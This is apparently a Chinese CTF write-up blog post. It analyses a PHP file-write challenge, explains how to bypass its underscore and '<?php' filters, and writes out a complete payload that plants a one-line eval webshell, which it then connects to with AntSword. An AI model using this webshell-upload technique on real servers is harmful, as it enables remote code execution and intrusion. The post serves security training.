disable_function

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
$query = urldecode($_SERVER["QUERY_STRING"]);
if (strpos($query, '_') !== False)
die("nononono!");
if(isset($_GET['f_name']))
{$path = $_GET['f_name'];
$content = $_POST['f_content'];
if (preg_match('/<\?ph.|flag/i', $content) !== 0)
die('nonono!');
if (strlen($content) > 22)
{
die('why are you so LONG?');
}
if (file_put_contents($path, $content))
die("ok");}
?>

先从前面看起

$query = urldecode($_SERVER["QUERY_STRING"]); 这部分是从给赋值的?开始往后面取值

例如:

1
http://124.220.165.133:9909/?qusomn2655

则query=qusomn2655

if (strpos($query, '_') !== False) die("nononono!"); strpos函数的意思是,从query中查找字符 _ ,如果没有找到,则返回False,因此这个部分过滤了 _

由于后面要给f_name赋值,可以用 . 来代替 _ 即 f.name

if (preg_match('/<\?ph.|flag/i', $content) !== 0)接下来看到正则表达式的位置,这个位置代表了过滤了content中的<?ph 和flag字符,可以用<?= 来代替<?php。<?= 是<?=php echo 的简写

1
if (strlen($content) > 22){die('why are you so LONG?');}

使得我们的content长度不能超过22

file_put_contents($path, $content)file_put_contents表示写入函数,path表示写入的文件名称,content表示写入文件的内容

我们需要向服务器中写入一个php文件,在php文件里面写入可执行的木马,使其能够获取到其他文件的信息

构造 GET参数: ?f.name=7894.php POST: f_content=<?=eval($_POST[1]); 传入一句话木马

然后将网页跳转到7894.php文件中

1
http://124.220.165.133:9909/7894.php

用剑蚁连接一下 flag就在里面

Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信